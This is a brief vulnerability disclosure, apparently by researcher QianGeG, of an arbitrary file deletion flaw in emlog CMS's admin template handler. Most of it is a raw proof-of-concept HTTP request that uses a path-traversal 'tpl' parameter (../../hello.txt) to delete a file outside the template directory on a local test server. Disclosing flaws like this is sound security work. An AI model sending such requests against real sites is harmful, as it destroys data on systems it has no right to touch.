emlogcms has an arbitrary file deletion vulnerability

[QianGeG]

First log in to the home page of the background using the administrator account
Open the admin\template.php template

../../hello.txt This location is the root directory file to be deleted

poc:
GET /emlog/admin/template.php?action=del&tpl=../../hello.txt&token=c5bc68077f6da2a911df58e6cde92cbc2d0514fd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://127.0.0.1/emlog/admin/template.php
Cookie: PHPSESSID=kqfrmmnndterp04rl0cv9ls613; EM_AUTHCOOKIE_RNrgNg46hg86lUoT8Hg8Vht92Y3yU9rn=123123%7C0%7Cf98ccd4c0c66a0922a0e077a24088ba0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1